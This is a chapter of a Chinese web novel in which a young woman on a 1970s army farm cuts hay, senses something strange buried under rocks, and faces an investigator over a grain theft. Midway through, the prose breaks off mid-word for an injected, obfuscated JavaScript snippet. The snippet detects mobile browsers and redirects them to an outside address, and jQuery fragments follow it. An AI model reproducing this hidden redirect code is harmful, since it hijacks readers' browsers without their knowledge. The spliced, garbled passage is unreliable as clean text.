54.夜吠、晨霜与草甸子

作品:《七五吃瓜手札: 我在年代文里卷成亿万富翁

    后半夜,林晚照睡得极不安稳。远处的狗吠时断时续,间或夹杂着模糊的人声和脚步声,在寂静的雪原上被风拉扯得破碎,更添几分诡秘。她几次起身,凑到工具房那扇破窗前向外张望,但夜色浓重,风雪未停,除了营房方向零星几点灯火和影影绰绰晃动的手电光柱,什么也看不清。


    是抓小偷?还是有其他情况?会不会和自己有关?这个念头让她心中一紧。但仔细回想,自己来到三连后深居简出,除了赵卫国和老陈头,几乎没和任何人打过照面,应该不至于这么快就引起特别关注。更大的可能,是连队自身的事务,或者……与“红岸”基地近期的异常有关。


    她强迫自己躺下,却再也无法入睡,只是闭目养神,同时全力感应着灵泉空间。那扇“门”的缝隙似乎稳定在了比之前稍宽一点的状态,丝丝缕缕的清凉气息持续不断地滋润着她的身体,修复的速度明显加快。这给了她一些底气。只要再给她一些时间,身体和空间都能恢复更多。


    天刚蒙蒙亮,工具房外就传来了老陈头熟悉的、轻微的咳嗽声。林晚照立刻起身,用昨晚存下的温水快速洗漱,将冰冷的玉米面窝头就着热水吃下,穿上臃肿的棉衣,走了出去。


    老陈头已经套好了那辆破旧的人力板车,车上放着两把长柄镰刀、几捆绳子和两个破麻袋。他依旧沉默,只是示意林晚照上车。板车在冻硬的雪地上吱呀作响,朝着连队北面的荒草甸子驶去。


    路过营房区时,林晚照注意到,早起打扫院子或准备上工的人们,三三两两聚在一起,低声议论着什么,气氛有些不同往常。她看到赵卫国也在其中,眉头紧锁,正和一个年纪稍大的战士说着话。看到板车经过,赵卫国望过来,与林晚照视线一碰,他微微摇了摇头,眼神示意她别多问,然后很快又转开了视线。


    果然有事。林晚照心下了然,收回目光,低头坐在板车上,仿佛对周围的一切漠不关心。


    出了连队范围,视野骤然开阔。一望无际的荒草甸子覆盖着厚厚的积雪,枯黄的草茎从雪中顽强地探出头,在寒风中瑟瑟抖动。远处是起伏的丘陵和更稀疏的树林,天地间一片苍茫的灰白。


    “夜里,炊事班丢了两袋玉米面,半筐土豆。”老陈头忽然开口,声音被风吹得有些飘忽,他头也没回,像是自言自语,又像是说给林晚照听,“狗追出去,到甸子边,脚印就乱了,没了。”


    偷粮食?在这个年代,在建设兵团这种准军事化单位,偷盗集体粮食是严重的罪行。但更让林晚照在意的是后半句——脚印到甸子边就乱了,没了。如果是外人偷盗,带着沉重的粮食,在雪地上应该留下清晰的痕迹才对。没了,是什么意思?被风雪掩盖了?还是……


    “不是一般人。”老陈头补充了一句,语气平淡,却带着某种笃定。他停下板车,拿起一把镰刀,指了指一片长得较高的枯草丛,“割这种,硬实,耐烧。留茬别太低,明春还能发。”


    林晚照接过另一把镰刀。镰刀很沉,刃口有些钝。她学着老陈头的姿势,弯腰,挥臂,将一丛丛枯草割倒。动作一开始很生疏,效率也低,但她很快掌握了发力技巧,加上灵泉气息对体力的恢复和增强,速度渐渐赶了上来。锋利的草茎边缘割在手背上,留下细小的血口,她也只是皱了皱眉,继续挥动镰刀。


    一时间,荒凉的草甸子上,只剩下镰刀割草的唰唰声、风声,以及两人粗重的呼吸喷出的白雾。


    劳动让人专注,也让人思绪沉淀。林晚照一边割草,一边思考着夜里的失窃案。老陈头那句“不是一般人”在她脑中盘旋。不是一般的偷儿,那会是什么人?附近的村民?可能性不大,兵团与周边村庄关系通常尚可,且为点粮食冒这么大风险不划算。流窜的盲流?但能在兵团警戒和狗追捕下迅速消失,这本事未免太大。难道……是“红岸”基地里的人?或者,是与基地异常相关的某种“存在”?


    她想起昨夜银镯的灼烫和远处幽蓝的闪烁。两者之间,是否有关联?


    “陈伯,”她停下手,擦了擦额角的汗,装作随意地问,“咱们这边,冬天除了咱们连队和……那边基地,还有别人吗?比如猎户?”


    老陈头也直起身,捶了捶后腰,眯眼望着茫茫雪原。“早些年有。这两年,少了。”他顿了顿,“这边,不太平。”


    “不太平?”林晚照心头一动。


    老陈头没立刻回答,弯下腰继续割草,直到又割倒一大片,才闷声道:“有狼。冬天饿急了,敢靠近。还有……别的。”


    “别的?”林晚照追问。


    老陈头却不再说了,只是指了指更远处一片草甸:“那边,草好。过去看看。”


    林晚照知道问不出更多了,便跟着他往那边走。脚下的雪很深,每走一步都陷到小腿。她注意到,老陈头行走的路线有些奇怪,似乎在避开某些区域。有一次,她差点一脚踩进一个被雪掩盖的浅坑,被老陈头一把拉住。


    “小心点。这些坑,夏天是水洼子,冬天冻硬了,面上雪盖着,踩塌了崴脚。”老陈头解释了一句。


    又往前走了一段,来到一片地势略高、背风的草坡。这里的枯草长得格外茂密粗壮。老陈头开始动手割草,林晚照也跟着忙活。


    就在这时,她左手腕的银镯,毫无征兆地,传来一阵极其轻微但持续的麻痒感,像是被微弱的电流划过。不是昨晚那种灼烫,更像是一种……共鸣?或者说是被某种同源但微弱得多的磁场或能量波动所触及。


    与此同时,她意识深处的树苗,那点绿意也轻轻摇曳了一下,传递出一丝模糊的亲切与困惑交织的意念。


    有东西!就在附近!很可能,就是蕾拉留下的“摇篮”碎片,或者与之相关的东西!


    林晚照的心脏猛地漏跳一拍。她强行压下立刻寻找的冲动,强迫自己继续割草的动作,但所有的感官都提升到了极致。她不动声色地观察着周围的环境——除了雪和草,似乎没有什么特别。脚下是冻土,远处是稀疏的树林和更远的山影。


    麻痒感断断续续,似乎在移动,或者其源头本身就不稳定。她一边割草,一边极其缓慢地、不着痕迹地调整着自己的位置和方向,试图通过银镯和树苗感应的强弱变化来定位。


    终于,当她移动到草坡边缘,靠近几块半埋在雪中、不起眼的黑色风化岩石时,麻痒感明显增强了。树苗的意念也清晰了一丝,带着一种孺慕般的渴望。


    是这些石头?还是石头下面?


    她装作割草累了,蹲下身,用镰刀拨弄着岩石边缘的积雪和枯草,同时将戴着银镯的左手,似无意地贴近地面。


    就在她的左手即将触碰到其中一块岩石下方的冻土时——


    “林晚!别动那儿!”


    一声急促的低喝从身后传来!


    林晚照动作一僵,立刻收回手,站起身,回头看去。只见老陈头不知何时已经走了过来,脸色是从未有过的严肃,甚至带着一丝……紧张?他几步跨到林晚照身边,一把将她往后拉了两步,远离了那几块岩石。


    “陈伯?”林晚照做出疑惑不解的样


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920559|191601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子。


    老陈头没看她,目光紧紧盯着那几块岩石,尤其是林晚照刚才想要触碰的那块,眼神锐利如鹰。他蹲下身,仔细看了看岩石周围的雪地和泥土,又用手(戴着手套)小心翼翼地拂开岩石根部的一些浮雪。


    林晚照也顺着他的目光看去,起初没发现什么异常,但很快,她注意到,在那块岩石背阴面的根部,冻土的颜色似乎比周围要深一点点,隐隐透出一种不正常的暗沉,而且,那里的雪融化得似乎比别处稍快一些,露出一点湿黑的泥土。


    “这地方……”老陈头直起身,拍了拍手上的雪,脸色依旧凝重,“邪性。夏天草都不爱长。有牲口在这儿吃过草,回去就闹病。”他看向林晚照,语气带着不容置疑的告诫,“以后打草,绕着这儿走。听见没?”


    “听见了,陈伯。”林晚照老实点头,心中却掀起惊涛骇浪。邪性?牲口闹病?这描述,结合银镯和树苗的反应,让她几乎可以肯定,这下面有东西!而且,很可能是带有辐射、能量污染或者其他异常特性的“摇篮”碎片!老陈头显然知道这里不对劲,但以他的认知,只能归结为“邪性”。


    这是否意味着,碎片不止一处?或者,蕾拉留下的东西,因为某种原因(比如坠落、埋藏、能量泄露)对环境产生了影响?


    “草差不多了,回吧。”老陈头似乎不想在此地多待,开始将割倒的枯草捆扎起来,装上板车。


    回程的路上,两人都沉默着。林晚照在消化今天的惊人发现,同时警惕着可能存在的监视或追踪。老陈头则似乎心事重重,赶车的动作都比来时慢了些。


    快到连队时,他们被一个骑着自行车、穿着军装(没有领章帽徽,像是文书或通信员)的年轻战士拦住了。


    “老陈头!连长让你去连部一趟!”战士喘着气说,目光在林晚照身上扫了一下,没多问。


    老陈头应了一声,对林晚照说:“你先回去,把草卸了,喂猪。”然后便跟着那战士往连部方向去了。


    林晚照独自赶着板车回到养猪场。卸草,喂猪,清理。做完这些,天色已近黄昏。老陈头还没回来。


    她回到工具房,生了火,煮上一点菜粥。火光跳跃中,她摊开左手,看着腕上安静如常的银镯。


    今天发现的地点,必须标记下来。但如何进一步探查?以她现在的身份和能力,几乎不可能在不惊动任何人的情况下挖开冻土。而且,那里显然被老陈头这样的本地人视为不祥之地,贸然行动风险极大。


    或许……可以通过银镯和树苗的远程感应,尝试与碎片建立更清晰的联系?或者,等待灵泉空间进一步恢复,看看是否有其他手段?


    就在她沉思时,外面传来了脚步声,不止一人。


    她立刻收敛心神,走到门口。只见老陈头回来了,身边还跟着两个人——连长王大山,以及一个她没见过、穿着深蓝色中山装、戴着眼镜、气质斯文却目光敏锐的中年男人。


    王大山的脸色比平时更加严肃。而那个中年男人的目光,如同探针,瞬间就落在了林晚照身上。


    “林晚,”王大山开口,声音低沉,“这位是团部调查组的周干事。关于昨晚连队失窃的事,有些情况需要了解一下。你,跟周干事说说,昨天夜里,有没有听到或者看到什么异常?”


    调查组?这么快就来了?而且,直接找到了她这个最新来的“盲流”?


    林晚照的心,缓缓沉了下去。她迎着周干事那双仿佛能看透人心的眼睛,知道真正的考验,或许才刚刚开始。